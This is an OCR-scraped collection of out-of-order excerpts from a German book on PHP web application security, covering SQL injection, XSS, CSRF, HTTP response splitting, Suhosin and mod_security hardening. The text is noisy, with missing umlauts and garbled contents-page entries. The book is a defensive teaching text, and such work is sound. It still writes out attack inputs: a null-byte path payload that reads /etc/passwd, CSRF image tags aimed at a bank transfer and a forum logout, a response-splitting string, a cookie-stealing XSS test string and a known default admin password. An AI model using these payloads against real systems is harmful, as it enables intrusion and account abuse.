Home

3. Auflage

image

Contents

1. 189 8 5 Bild berpr fung 22ceceeeeeeeeeree en 190 8 6 PHP Code in ein Bild einf gen 22222 191 xii Inhaltsverzeichnis 8 7 Andere Dateitypen berpr fen 2 2c2cceceee s 192 8 8 Gef hrliche Zip Archive ssssssnssanununeu n 193 8 9 Fa it ugesi Ha BI E E A 193 9 Variablenfilter mit ext filter 195 9 1 berblick ans ee a 195 9 2 Installation eree se ernennt 196 9 3 Die Filter API a 00 ee 196 9A Verf gbare Filter 22222ecceeeeeeeennnn 197 9 4 1 Validierende Filter 222c2cceeeeeeeen 198 9 4 2 Reinigende Filter 22222 cceece 199 9 5 Zahlen pr fen und filtern 2 2222 eceeeeeeeeenn 200 9 6 Boolesche Werte 2 2 22 eeeeeeeeeeeeene nennen 201 9 7 URLsvalidieren arrer 22221 Be 201 9 8 IP Adressen pr fen 22222 ceeeeeeeeeeeeeeeeenn 203 9 9 Syntaxcheck f r E Mail Adressen 2 222222 cc 0 204 9 10 Reinigende Filter 2 2 2220 ces eeeeeeeeeennn 205 9 11 Pr fung externer Daten 2 222 ceceeeeeeeeee nn 205 9 12 Callback Funktionen 222222 eceeeeeeeeee nenn 206 9 132 U Fazit 2 2 ie 207 10 PHP intern 209 10 1 Behler in PHP naris 2 2 2 2223 Re leh les 209 10 1 1 Month of PHP Bugs 2 222222 209 10 1 2 File Upload Bug 2222222cceeee 210 10 1 3 Unsichere De Serialisierung 210 10 1 4 Verwirrter Speichermanager 210 10 1 5 Speicherproblem dank htmlentities 211
2. png c gt getCaptcha _SESSION captcha c gt getPhrase fp fopen filename fputs fp png fclose fp echo lt div gt lt form method post gt lt img src filename time gt lt br gt lt input type text name captcha gt lt input type submit value Captcha pr fen gt lt form gt lt div gt print lt p gt msg lt p gt gt Beispiel f r Pear Text_Captcha 6 Authentisierung und Authentifizierung Der Ablauf des Skripts ist einfach zu verstehen In der Session wird die Zeichenfolge abgelegt die brigens mit dem oben vorgestellten PEAR Text_Password generiert wurde die gleichzeitig mit den Funktio nen der GD Bibliothek in die Grafik geschrieben wurde Der Benutzer muss nun in einem Formularfeld die auf der Grafik gezeigte Zeichen folge eingeben Nach Abschicken des Formulars werden die in der Ses sion und die in einer POST Variable gespeicherten Strings verglichen Stimmen sie berein gibt das Beispielskript die Erfolgsmitteilung berpr fung OK aus ansonsten meldet es ein Eingabe inkorrekt bitte nochmals versuchen Die Schriftdatei arial ttf muss nat rlich auf dem Zielsystem exis tieren und sich im richtigen Verzeichnis befinden ansonsten findet das CAPTCHA Skript keine benutzbare Schriftart Mit CAPTCHAs k nnen Sie Ihre webbasierten Anwendungen schnell gegen Kommentar und sonstige Spammer absichern m ssen
3. c 3 Full Path Disclosure Von einer Full Path Disclosure spricht man wenn man ebenfalls durch Fehlermeldungen oder Pfadverk rzungen volle Pfadangaben erh lt Schadenspotenzial auf dem Server gering Ausnutzung einfach Imageschaden mittel C 4 _SQL Injection SQL Injection bezeichnet das Ausnutzen einer Sicherheitsl cke in Zusammenhang mit SQL Datenbanken Besagte Sicherheitsl cke ent steht bei mangelnder Maskierung beziehungsweise berpr fung von Funktionszeichen Der Angreifer versucht ber die Anwendung die den Zugriff auf die Datenbank bereitstellt eigene Datenbankbefehle einzuschleusen Sein Ziel ist es hierbei Kontrolle ber die Datenbank respektive den Server zu erhalten Schadenspotenzial auf dem Server hoch Ausnutzung mittel bis schwer Imageschaden hoch C 5 HTTP Response Splitting HTTP Response Splitting erm glicht es Webseiten mithilfe von gef lschten Anfragen zu verunstalten Dabei wird nicht direkt auf den Webserver Einfluss genommen sondern es werden Systeme beein flusst die dem Webserver vorgeschaltet sind Ein Proxy Server ein Cache Server sogar der Browser selbst sind solche vorgeschalteten Systeme Des Weiteren sind Cross Site Scripting oder Phishing Atta cken ber HTTP Response Splitting m glich Schadenspotenzial auf dem Server mittel Ausnutzung schwer Imageschaden hoch C 6 Cross Site Request Forge
4. 11 1 Warum PHP h rten 251 Da PHP intern f r jede Zeichenkette eine L nge vorh lt wird nicht mit dem aus C bekannten Konzept gearbeitet dass ein Nullbyte das Ende einer Zeichenkette darstellt Im Fall eines Includes wird diese Zeichenkette allerdings an eine C Funktion weitergegeben f r die das Nullbyte aber genau diese Bedeutung hat es terminiert den Dateina men der zu inkludierenden Datei Die PHP Funktion addslashes die durch die Konfigurationsdirektive magic_quotes_gpc On automatisch f r jeden Request ausgef hrt wird behandelt daher auch Nullbytes und wandelt sie in 0 um Ist diese Funktion deaktiviert was die emp fohlene Einstellung ist ist es somit m glich durch Anh ngen eines URL codierten 00 an den URL Parameter das eigentlich im Include Aufruf noch folgende inc php aus dem obigen Codeschnipsel abzu schneiden bergibt nun ein Angreifer einen String wie pagename etc passwd 00 konnte er das verwundbare Beispielskript dazu bringen die Systemdatei etc passwd statt der eigentlich zu inkludie renden Seite anzuzeigen Die Suhosin Extension verbietet daher in der Defaultkonfiguration dass in einer GPC Variablen ein Nullbyte vor kommt Auch durch fehlerhafte Implementierung der realpath Routine die Pfadangaben unter Unix kanonisiert also relative Pfade und Symlinks zu einem absoluten Pfad aufl st hat es in der Vergangenheit bereits Probleme gegeben vor allem in der sonst
5. Er Im Gegensatz zum Hardening Patch ist Suhosin 100 bin rkompati Bu bel zu normalen PHP Versionen Kommerzielle Zend Engine Extensi ons wie die Produkte der Firma Zend Zend Accelerator Zend Studio Server Zend Caching Suite etc lassen sich daher laden was in Harde ned PHP nicht m glich war Grunds tzlich ist Suhosin also kompati bel zu diesen bin ren Erweiterungen auch wenn diese teilweise Anstrengungen unternehmen keine anderen Extensions neben sich zu dulden Die Firma ionCube die den ionCube PHP Encoder entwickelt macht dies zum Beispiel weil sie Open Source Erweiterungen f r nicht vertrauensw rdig h lt Aus diesem Grund besitzt Suhosin einen Modus in dem es sich unsichtbar f r andere Zend Extensions l dt Dieser ist standardm ig aktiv Ungl cklicherweise sind die bin ren Extensions oftmals so geschrieben dass sie nicht die API der Zend Engine benutzen sondern direkt auf die internen Strukturen zugreifen Dies kann nat rlich zu Inkompatibilit ten f hren Aus diesem Grund wurde Suhosin so ent wickelt dass m glichst wenige Ber hrungspunkte mit anderen Exten sions existieren damit Inkompatibilit ten vermieden werden Daf r gibt es allerdings wie immer wenn Produkte verschiedener Hersteller gleichzeitig eingesetzt werden keine Garantie Momentan sind den Entwicklern keine Inkompatibilit ten zu den aktuellen Versionen der g ngigen Erweiterungen wie APC eAccelera tor XCache ionCube und den Zend Pro
6. Mit dieser NULL ist keine 0 0 oder ein gemeint sondern einfach Keine Daten Dies wird ben tigt um bei einer SQL Injection mit UNION die Parameterliste mit Platzhaltern aufzuf llen etwa so UNION SELECT ID NULL NULL FROM x00 Dies ist eine hexadezimale Null und das Ende Kennzeichen eines Strings in der Programmiersprache C r n Die Sonderzeichen f r einen Zeilenumbruch und Die Begrenzungszeichen f r einen String in der SQL Syntax xla Dieses Zeichen entspricht der Tastenkombination STRG Z Hiermit k nnen auf der Kommandozeile Befehle ausgef hrt wer den Das ist eine sogenannte Escape Sequenz Der Backslash ist das Sonderzeichen f r das Auszeichnen von hexadezimalen und textuellen Sonderzeichen wie r t oder n Das Prozentzeichen ist der Platzhalter f r mehrere beliebige Zeichen Enth lt ein Query eine WHERE Klausel wie etwa LIKE Pet werden alle Zeilen zur ckgegeben die mit Pet beginnen also Peter Petra oder auch Petroleum Die runden Klammern schlie en Ausdr cke ein oder fassen diese zusammen um Pr zedenzen auszudr cken Beispiel SELECT ID FROM Tabelle WHERE ID 0 OR ID 1 AND Name AND Vorname NOT AND Ort NOT Die Sonderzeichen n r x00 Backslash und x1a haben keinen direkten Einfluss auf ein SQL Statement sondern wirken sich in Log Dateien aus MySQL kann pro SQL Query einen Datensatz in eine Log Datei schreiben falls die
7. al 2 2 2 _Webserver Verhalten interpretieren Die meisten Webserver implementieren den RFC 2068 die HTTP Spezifikation richtig Dennoch gibt es einige kleinere Unterschiede an denen man erkennen kann welcher Webserver sich auf einem System befindet In jedem Request oder Response an einen bzw von einem Webserver befinden sich Header Felder die Angaben ber den Client bzw den Server enthalten W hrend der Client jede Anfrage mit einigen zus tzlichen Infor mationen ber sich selbst versieht wie etwa die benutzte Browser software oder Sprachpr ferenzen finden sich Angaben ber den Webserver in den Headern der HTTP Response Diese Angaben unter scheiden sich bei den verschiedenen Webservern und erlauben eine Identifikation selbst wenn die im vorigen Abschnitt erl uterten Ma nahmen zur Unterdr ckung des Serverbanners ergriffen wurden Es gibt zwar einige M glichkeiten den Server in seinen Ausgaben einzuschr nken das Verhalten des Webservers zu beeinflussen ist jedoch nahezu unm glich Die M glichkeiten an Informationen ber den Webserver zu gelangen nennt man Webserver Fingerprinting also einen Fingerab druck des Webservers erstellen Hier f hren gleiche Anfragen bei verschiedenen Webservern zu verschiedenen Verhaltensmustern die ein Tool zur Webserver Erken nung oder ein versierter Angreifer interpretieren kann Die Reihenfolge der Header ist von Webserver zu Webserver unter schiedlich Der
8. 10 1 6 Bewertung 2ueeeeeeeeeeeeeeeeenn 211 10 2 Bestandteile eines sicheren Servers 2 222 cccecec 211 10 3 Unix oder Windows 22222ueeeeeeeeeeeene en 213 10 4 Bleiben Sie aktuell 2 22 2cocoeeeeeeee nn 213 10 5 Installation 2 8 2 2 0 8er 214 10 5 1 Installation als Apache Modul 214 1035 2 CGL i ns 2er ee a Bes 216 10 6 SUEXEG 2a un a a a a a en et 217 Inhaltsverzeichnis xiii 10 7 Safe Mode Serres seinen EE ES 219 10 7 1 Einrichtung des Safe Mode 220 10 7 2 safe_mode_exec_dir 2222ccecceee nn 221 10 7 3 safe_mode_include_dir 222222 221 10 7 4 Umgebungsvariablen im Safe Mode 222 10 7 5 Safe Mode considered harmful 222 10 8 Weitere PHP Einstellungen 2 222222220 224 10 8 1 open_basedir 2222eceeeeeeeeeeenn 224 10 8 2 disable_functions 222 22eceereen 225 10 8 3 disable_classes 2 222222 ceceeeeeeenn 226 10 8 4 max_execution_time sssssssssssso 226 10 8 5 max_input_time sssesesesssseesssso 226 10 8 6 memory_limit rioias sae Er E a a ONS 226 10 8 7 Upload Einstellungen 227 10 8 8 allow_url_fopen 2 2222 ceeeeeeeeeeenn 228 10 8 9 allow_url_include 22 2222er 229 10 8 10 register_globals 22 2222 ccceen 229 10 9 Code Sandboxing mit runkit 22ccecceeen 229 10 10 Externe Ans tze 2 2 ccceeeeeeeeeeeeee rennen 231 10 10 1 suPHP 4 u
9. h lt das Bild den vorher vom Angreifer ermittelten Aufruf von Meine Bank um eine berweisung zu t tigen lt img src http www meinebank de ueberweisung php betrag 9999 amp suffix foo png gt Der Parameter betrag steht f r den zu berweisenden Betrag um die URL f r dieses Beispiel so kurz wie m glich zu halten haben wir auf zus tzlichen Ballast wie Zielkontonummer und berweisungsbetreff verzichtet Mit dem zus tzlichen GET Parameter suffix foo png sollen Filter ausgetrickst werden die in manchen Foren pr fen ob die angege bene Bild URL auch tats chlich zu einem Bild f hrt tats chlich aber lediglich die Dateiendung mittels strrpos o anhand einer Whitelist berpr fen Dieses pr parierte lt img gt Tag ist nun im Forums Posting des An greifers eingebettet und jeder Besucher des entsprechenden Forums Threads sieht lediglich ein Broken Image Icon Im Hintergrund setzt jeder Webbrowser einen GET Request auf die entsprechende URL ab und versucht das versprochene Bild abzurufen Da die meisten Besucher des Forums jedoch bei der MeineBank kein Konto besitzen ist dieser Request nicht von Belang die Bank wird lediglich eine Fehlerseite zur ckliefern die der Client eines Forumsnut zers nicht als Bild rendern kann daher das Broken Image Icon Bei einem bestimmten Forumsnutzer sieht die Sache jedoch etwas anders aus Es handelt sich um das eigentliche Opfer des CSRF Angrif fes Dieser Nutz
10. nicht mehr das komplette SQL Statement Ein Beispiel INSERT INTO City ID Name VALUES NULL Frankfurt Bei erneutem Senden werden nur das Feld Name und wenige Steuer informationen wie die ID des Prepared Statements bertragen Ein solches Template sieht wie folgt aus INSERT INTO City ID Name VALUES Die Fragezeichen sind Platzhalter f r die Daten Hier ein komple xeres Beispiel lt php Anmelden am MySQL Server res mysqli_connect localhost user password testDB Verbindung berpr fen if mysqli_connect_errno printf Connect fehlgeschlagen s n mysqli_connect_error exit Das Statement vorbereiten stmt mysqli_prepare res INSERT INTO users VALUES 2 Parameter daran binden mysqli_bind_param stmt sssi name vorname email alter name Prochaska vorname Peter email info peter prochaska de alter 32 Prepared Statement ausf hren mysqli_execute stmt Das Statement schlie en mysqli_stmt_close stmt Verbindung schlie en mysqli_close gt Die Funktion mysqli_bind_param hat als zweiten Parameter einen String sssi Dieser String ist eine Formatangabe f r den Datentyp a2 5 SQL Injection Tab 5 1 Formatangaben f r mysgli_bind_param Einfache Stored Procedure name vorname und email werden als String gesendet und alter ent h lt ei
11. system passthru shell_exec M chten Sie dass bei einer fehlgeschlagenen SQL Query z B durch einen SQL Injection Versuch das Skript abgebrochen und eine entsprechende Log Nachricht geschrieben wird aktivieren Sie die Direktive suhosin sql bailout_on_error Ein Abbruch findet nat rlich nur dann statt wenn der Aufruf der SQL Query Funktion einen Fehler erzeugte nicht wenn 0 Ergebnisse zur ckgeliefert wurden Damit ist diese Direktive durchaus sinnvoll Fehler sollten von einem Anwender in einer webbasierten Anwendung nie erzeugt werden d rfen suhosin sql bailout_on_error On Der von Suhosin versprochene und tats chlich funktionierende Schutz gegen HTTP Response Splitting verbirgt sich hinter der Direk tive suhosin multiheader M chten Sie verhindern dass in einem Aufruf der Funktion header mehrere HTTP Header gesetzt werden k nnen dann sollten Sie diese Einstellung auf ihrem Standardwert lassen F r das verwandte Problem der Mailheader Injektion bietet die Suhosin Extension die Direktive suhosin mail protect an Diese legt fest ob und inwieweit Suhosin vor k nstlich eingef gten Mailheadern siehe auch das Kapitel 3 Parametermanipulation sch tzen soll In der Defaultkonfiguration ist dieses Feature abgeschaltet Eine Aktivie rung innerhalb der php ini s he dann folgenderma en aus suhosin mail protect 1 11 5 2 Log Dateien Suhosin verf gt ber ausgefeilte Protokollm glichkeiten die es fast zu ei
12. www fags org rfes rfc2279 html 12 3 mod_security 283 Dienste wie NetCraft benutzen diese Information die normalen Web browsern unsichtbar bleibt da sie als Header ausgegeben wird um Statistiken zur Verbreitung von Serversoftware zu erstellen Angreifer k nnen mit ihrer Hilfe jedoch Informationen ber die benutzten Module und Apache Versionen sammeln die bei einem Angriff hilf reich sein k nnen Sie sollten daher darauf verzichten dieses Response Token zu aktivieren Gerade kurz nach der Installation ist eine Debugging M glichkeit sehr hilfreich mod_security bietet Ihnen die Option ein Debug Log mit vier verschiedenen Stufen zu erstellen SecFilterDebugLog logs modsec_debug 1og aktiviert diese Log Datei Wie f r Log Datei Pfade unter Apache blich wird vor den relativen Pfad der Wurzelpfad f r Apache angef gt Sie k nnen jedoch auch einen absoluten Pfad f r die Log Datei angeben Um Fehler in Ihren Regeln zu finden k nnen Sie auf vier verschie dene Verbosit tsebenen zur ckgreifen die mit der Direktive SecFil terDebugLevel 0 3 konfiguriert werden k nnen W hrend auf Ebene 0 und 1 kaum mehr als ein Eintrag pro zutreffender Regel im Protokoll auftaucht erzeugen die Stufen 2 und 3 exzessives Datenaufkommen f r jede Regel wird in der Log Datei protokolliert ob sie zutraf oder nicht Im Wirkbetrieb sollten Sie auf Debugging Output wie ja auch bei Ihren PHP Anwendungen blich also verzichten 12 3
13. z B ber eine entsprechende Direktive in der htaccess Datei Danach erstellt er eine kurze index php in diesem Verzeichnis die folgenden Code enth lt lt php header Location http www opferforum de logout php gt Als N chstes sucht sich der Angreifer ein Opfer Forum aus erstellt dort einen Account und schreibt ein Posting das lediglich folgende BBCode Zeile enth lt img http www boeserserver de bild png bild Die URL zwischen den BBCode Tags wird nun vom BBCode Parser als Quelle f r ein lt img gt Tag benutzt Meist berpr ft die Forensoftware nicht den kompletten Inhalt der URL sondern verl sst sich auf die Dateiendung und die ist in unserem Beispiel png also nimmt der Parser an es handele sich tats chlich um eine Bilddatei Fordert aber der Browser eines Forenlesers das vermeintliche Bild per HTTP vom Server des Angreifers an so antwortet dieser mit dem Fehlercode 302 Found und leitet den Client auf die Datei 4 Cross Site Scripting bild png index php um In dieser verbirgt sich ein Location Header dem der Client auch anstandslos folgt In Wirklichkeit hat er also statt eines Bildes die Logout Seite seines Forums angefordert und die hat ihn aufgrund der g ltigen Session die ein Forumsbenutzer braucht um Threads zu lesen oder Postings zu verfassen ausgeloggt Einfacher sind CSRF L cken nicht auszunutzen und gegen dieses spezielle Problem existieren auch kaum Gegenma nahmen Was
14. A Checkliste f r sichere Webapplikationen In Anlehnung an die hervorragende Web Application Penetration Checklist der OWASP haben wir eine Checkliste erarbeitet die Ihnen dabei helfen kann Ihre PHP Applikationen abzusichern oder fremde Anwendungen auf ihre Sicherheit zu berpr fen bevor Sie sie auf Ihrem Server installieren Diese Liste liefert Ihnen Anhaltspunkte ber m gliche Sicherheitsl cken oder probleme die Sie dann mit einem Blick in das entsprechende Kapitel schnell l sen k nnen Verlassen Sie sich nicht allein auf diese Checkliste Dauerhafte Sicherheit erfordert die Anpassung an neue Gegebenheiten und L cken vielleicht existieren inzwischen ganz neue Angriffsmuster von denen die Autoren bei der Drucklegung dieses Werkes noch gar nichts wuss ten Art der L cke Anmerkung Lasttest Anfragen Reagiert Ihre Anwendung auch bei gro en Mengen von Flooding Anfragen langen Query Strings oder viel Netzwerk Traffic noch korrekt M gliche Testprogramme ab Apache Benchmark WebScarab etc Aussperrung Ist es einem Angreifer m glich Benutzer aus der Anwendung auszusperren z B durch mehrfache Eingabe falscher Passw rter Privilegerh hung durch Kann ein Angreifer sich erh hte Privilegien durch eine Parametermanipulation Manipulation der Applikationsparameter verschaffen admin 1 0 Authentifizierung Werden alle Bereiche die eine Autorisierung erfordern Autorisierung durch geeignet
15. Apache 1 3 29 Content Type text html Set Cookie PHPSESSID 1pwxbgHwzealIlFyaksxqsq92Z0VULc 1251019693 path Connection Close lt html gt lt head gt lt title gt 302 Moved Temporarily lt title gt lt head gt lt body bgcolor FFFFFF gt lt p gt This document you requested has moved temporarily lt p gt lt p gt It s now at lt a href http www php sicherheit de httprs php lang foobar Content Length 0 HTTP 1 1 200 OK Content Type text html Content Length 19 amp 1t html amp gt Hacked amp 1t html gt gt http www php sicherheit de httprs php lang foobar Content Length 0 HTTP 1 1 200 OK Content Type text html Content Length 19 amp lt html amp gt Hacked amp lt html amp gt lt a gt lt p gt lt body gt lt html gt ss 3 Parametermanipulation Zwei Antworten auf eine Anfrage Auswirkungen von HTTP Response Splitting Diese Ausgabe wird wie folgt interpretiert Die erste HTTP Response Meldung ist ein 302 Statuscode eine Umleitung Das ist der Abschnitt bis zur ersten Leerzeile Es gibt eine zweite HTTP Response Meldung einen 200 Status code mit einem Content Bereich der L nge 19 Byte der HTML Quellcode enth lt Dies ist der fettgedruckte Bereich Alles was danach kommt entspricht nicht mehr dem HTTP Stan dard und wird verworfen Wenn ein Angreifer nun zwei Anfragen an das Ziel den Proxy oder Cache Server schickt die erste mit der URL httprs
16. Attacke Zertifikate selbst erstellen men wird also meist einmal im Jahr kann es passieren dass ein Zer tifikat nicht den tats chlichen Besitzer des zertifizierten Servers widerspiegelt Das passiert jedoch selten und in aller Regel ist es unm glich ein Zertifikat so zu f lschen dass der eigene Server z B als der von eBay ausgewiesen wird derartige Versuche werden von den Ausstellern die im brigen auch als Certificate Authority oder kurz CA bekannt sind verhindert Somit ist es f r einen Angreifer nicht m glich eine Man in the Middle Attacke auf Ihre Kunden und Webserver auszuf hren Bei diesem Angriff leitet der Cracker der eine M glichkeit hat den Daten verkehr Ihrer Websites auszusp hen und zu manipulieren die Verifika tion eines SSL Zertifikates so um dass statt des legitimen Zertifikates ein von ihm gef lschtes pr sentiert wird das jedoch meist nicht von einer CA unterschrieben ist Leitet er zus tzlich den DNS Eintrag Ihrer Websites auf eine andere IP um indem er ber Viren oder W rmer die DNS Funktionen der Kunden manipuliert Pharming kann er Angriffe wie etwa das Abfischen von Passw rtern und Nutzerdaten Phishing perfektionieren Ein von einer im Browser anerkannten CA ausgestelltes Zertifikat verhindert solche Man in the Middle Angriffe Zertifikate sind leider in der Regel nicht kostenlos sondern schla gen mit Preisen zwischen etwa 50 und bis zu 500 Euro j hrlich zu Buc
17. Bei vielen Administrationsoberfl chen erscheint eine Passwortabfrage die etwa durch Brute Force Mechanismen oder die Eingabe von appli kationsspezifischen Standardpassw rtern geknackt werden kann Fast legend r ist zum Beispiel das Standardpasswort das f r die Installati onsroutine des sehr beliebten CMS Typo3 vergeben wird Es lautet in Anlehnung an die Bibelstelle Johannes 3 16 auf joh316 Auch Angriffe ber SQL Injection oder andere in diesem Buch beschriebene Sicherheitsl cken sind m glich Bei Upload oder Konfigurationspfaden erscheint wenn der Administrator die weiter vorn genannten Tips nicht beherzigt hat ein Directory Listing Kennen Sie den Namen einer Datei bei einem frei verf gbaren Produkt ist das kein Problem dann k nnen Sie diesen direkt im Browser an die URL anh ngen und so zur Anzeige bringen Insbesondere bei CMS oder anderen Anwendungen die den Upload von Dateien mit enthaltenem PHP Code erlauben ist diese Sicherheits l cke fatal Die Konfigurationsdirektive DirectoryIndex mit einer Angabe von mehreren Dateien legt die Startdatei f r den Apache und dessen Ver zeichnisse fest Im Normalfall ist das die Datei index htm bzw index php Ist diese Direktive nicht gesetzt sorgt das Apache Modul mod_autoindex daf r dass eine Seite mit einer Directory Struktur Directory Listing analog der Ausgabe des Unix Kommandos 1s angezeigt wird Die Anzeige der vorhandenen Dateien und Verzeich nisse erfolgt m
18. Erinnerungsfragen 6 2 6 Vergessene Passw rter Sollte ein Benutzer sein Passwort vergessen haben und das wird umso h ufiger vorkommen je komplizierter die von Ihrer Anwendung vor gegebenen Passw rter sind so wird er darauf bauen dass er auf eine automatische Art und Weise ein neues Passwort bekommen kann Es hat sich inzwischen eingeb rgert den Link zu einer Seite namens Haben Sie Ihr Passwort vergessen oder hnlich an prominenter Stelle in der N he des Login Formulars zu platzieren Nach Beantwor tung einer Frage wird dem Nutzer die M glichkeit gegeben ein neues Passwort zu w hlen oder sein altes Passwort wird ihm angezeigt oder zugeschickt Der Ansatz den Benutzer durch eine Quizfrage in der Art von Wie hie Ihr erster Hamster zu identifizieren ist grundfalsch und sollte von Ihnen nie verwendet werden Schlie lich sind Lumpi oder M ller Schulze Was ist der M dchenname Ihrer Mutter nichts weiter als zus tzliche Passw rter und nicht einmal besonders gute Exemplare ber Social Engineering oder gar Google ist es h ufig m glich diese pers nlichen Erinnerungsfragen f r andere Benutzer zu beantworten und so deren Passw rter zu ndern Benutzen Sie nie Passwort Erinnerungsfragen wie Wo wohnt Ihr Hamster Hat ein Anwender sein Passwort vergessen sollten Sie immer eine Mail an die bei Ihnen verzeichnete Mailadresse verschicken um ein neues Passwort setzen zu lassen Da
19. HTTP Datei Uploads bestimmen In alten PHP Versionen waren kriti sche Sicherheitsl cken enthalten die das Hochladen und Ausf hren von beliebigen Dateien erm glichten und auch heute erlauben noch viele PHP basierte Anwendungen den Upload z B von Bildern oder anderen Elementen M chten Sie solche Uploads global unterbinden was selten der Fall sein wird k nnen Sie mit der Direktive file_uploads Off jegliche HTTP Uploads an PHP Skripte verbieten Die Funktionalit t vieler Software wird dadurch jedoch ber Geb hr beschnitten daher ist diese Option mit Vorsicht zu handhaben Wichtiger ist dass Sie f r jeden virtuellen Host ein eigenes Ver zeichnis f r eingehende HTTP Uploads definieren So k nnen Sie zum einen im Angriffsfall schnell ermitteln welcher Kunde oder welches Projekt die Quelle eines Problems darstellt zum anderen ist nur so eine M glichkeit gegeben dass bei aktiviertem open_basedir auch die Dateien weiterverarbeitet werden k nnen die zuvor hochgeladen wur den Verwenden Sie n mlich trotz open_basedir das vorgegebene tem por re Verzeichnis tmp unter Unix bzw TEMP unter Windows so ist dieses Verzeichnis den im Basedir eingesperrten PHP Skripten nicht zug nglich und die Dateien somit verwaist Das upload_tmp_dir sollte f r jeden VirtualHost unterhalb des open_basedir liegen um Probleme zu vermeiden Es sollte jedoch nicht innerhalb des Dokumentverzeichnisses liegen um einen direkten Zu griff
20. I implode 61 Information Disclosure 319 ISO 17799 9 Stichwortverzeichnis 333 K Kommentare aus HTML Dateien 37 Kryptographische Funktionen 254 L Logging 253 263 286 287 Login 145 165 Fehler in Formularen 163 Siehe auch Autorisierung und Authentisierung 145 SSL 147 M magic_quotes_gpc 317 magic_quotes_runtime 317 Mailinglisten 12 BugTraq 14 Full Disclosure 13 Webappsec 15 Man in the Middle Attacke 148 Manipulation von Formulardaten 64 max_execution_time 226 max_input_time 226 memory_limit 226 mod_chroot 242 mod_security 242 Alarm Skript 293 Installation 279 Konfiguration 280 Regelwerk 283 Rootjail 293 SecFilter 288 SecFilterSelective 288 verkettete Regeln 292 mod_speling 32 mod_ssl 147 mod_suid 237 N Nullbytes 250 0 open_basedir 224 OWASP 15 Checkliste 311 P Parameter Binding 140 Parametermanipulation 45 Browser 48 Proxies 51 Werkzeuge 48 Passw rter 149 sichere 152 vergessene 158 Penetrationstests 16 Pfade 32 mod_speling 32 Pfade verk rzen 37 robots txt 33 Standardpfade 34 Phishing 328 PHP h rten kryptographische Funktionen 254 Logging 253 PHP h rten 245 PHP installieren 214 Apache Modul 214 CGI 216 erkennen 23 suExec 217 PHP 3 209 PHP Code in ein Bild einf gen 191 PHP Hardening Siehe PHP h rten 245 phpinfo 28 php ini Optionen 315 POST 46 POST Parameter 125 post_max_size 317 preg_replace 61 Prepared Statements 140 Proxies Clientseitige V
21. In diesen Beispielen ist eine Pr fung auf Schl sselwort Leerzeichen sinnlos Au erdem kann es durchaus Feldinhalte geben in denen diese Schl sselw rter wirklich enthalten sind Zum Beispiel die Bielefelder Firma UNION Knopf oder die Firma Papier Union 5 5 3 Parameter Binding Prepared Statements Gebundene Parameter sind auch bekannt als Prepared Statements Diese erzeugen mithilfe eines Query Templates ein SQL Statement das dann auf dem MySQL Server gespeichert wird In PHP funktio niert dies mit der neuen MySQL Extension mysali Hier wird ein SQL Statement mit der Funktion mysqli_prepare vorbereitet Danach kann man mit mysqli_stmt_bind_param einen oder mehrere Parameter daran binden Das vorbereitete SQL Statement wird dann an den MySQL Server gesendet und dort ausgef hrt Dabei wird automatisch ein mysql_real_escape_ string auf alle Parameter durchgef hrt Das SQL Statement wird dann in einem speziellen Speicherbereich auf dem MySQL Server gespeichert und f r die sp tere Verwendung erhalten 5 5 Schutz vor SQL Injection 141 l Sie ein Handle auf dieses Prepared Statement F r sp tere Verwendun gen m ssen dann nur noch die neuen Parameter daran gebunden wer den Ein erneutes Senden des Templates ist nicht mehr notwendig Das bedeutet f r SQL Statements die nur wenige Daten bertra Es werden nur noch Daten gen m ssen Es werden nur die Daten erneut zum Server geschickt an den Server geschickt
22. en damit ausgehe belt Lediglich f r den hoffentlich unwahrscheinlichen Fall dass Sie berhaupt keine Anf hrungszeichen als Attribut Abgrenzung verwen den gibt es kein Gegenmittel in PHP verwenden Sie also stets pas sende Begrenzungszeichen Delimiter Ein String wie etwa gt lt script language JavaScript gt alert document cookie lt script gt sieht nach der Behandlung mit der erweiterten htmlentities Funk tion so aus amp quot gt lt script language amp quot JavaScript quot amp gt alert amp 039 document cookie amp 039 amp 1t script gt Haben Sie alle Eingabefelder und hnliche ber Benutzereingaben erzeugte Attribute durch Anf hrungszeichen abgegrenzt und s mtli chen Input durch die Funktionskombination htmlentities strip_tags ENT_QLOTES geschleust ist bereits einiges gewonnen Zu Problemen kann es hierbei aber immer noch kommen wenn beispielsweise bei der Ausgabebehandlung nicht vom gleichen Zei chensatz ausgegangen wird wie dem der vom Browser angenommen wird Wird dem Browser beispielsweise nicht per HTTP Header und oder per HTML META Tag mitgeteilt welcher Zeichensatz ange wendet werden soll dann f ngt er an diesen heuristisch zu ermitteln Der Browser nutzt hierzu die ersten 4 KByte des Dokuments im Falle des Internet Explorer Enthalten sie UTF 7 codierte Zeichenketten kann diese heuristische Erkennung zu neuen XSS Problemen f hren 4 12 XSS verbieten HTML erlauben
23. gt Nach der Behandlung mit SafeHTML bleibt von diesem St ck HTML das vorher insgesamt sechs verschiedene XSS Formen enthielt nicht mehr viel brig lt img gt lt img gt lt div gt lt div gt lt div gt lt div gt 5 http www bitflux ch 6 http www horde org 4 12 XSS verbieten HTML erlauben wie Zus tzlich zur XSS Entfernung wird vom SafeHTML Filter auch das restliche HTML bereinigt sodass es soweit m glich XHTML Konfor mit t erreicht 4 12 3 Whitelist Filtern mit HTML Purifier M chten Sie b ses HTML lieber mit einer Software filtern die eine echte Whitelist verwendet gibt es auch daf r die passende L sung HTML Purifier 7 Die Entwickler dieser Hilfsanwendung legten gro en Wert auf die Einhaltung von Standards und einen strengen White list Ansatz aber auch auf Benutzbarkeit durch den PHP Entwickler Der frei mit HTML Reiniger bersetzbare Name ist nicht von unge f hr gew hlt denn neben der Hauptaufgabe XSS Angriffe auf vom Nutzer bergebenen HTML Code zu verhindern entfernt er auch unsch ne oder nicht standardkonforme HTML Elemente HP so der Kurzname der Software unterst tzt auch Dokumente im Standard XHTML Strict Von der Webseite des Projektes k nnen Sie den HTML Purifier als Quellarchiv im zip oder tar gz Format herunterladen Entpacken Sie es zun chst in ein tempor res Verzeichnis um dann das Unterverzeich nis library in Ihren include_path zu verschie
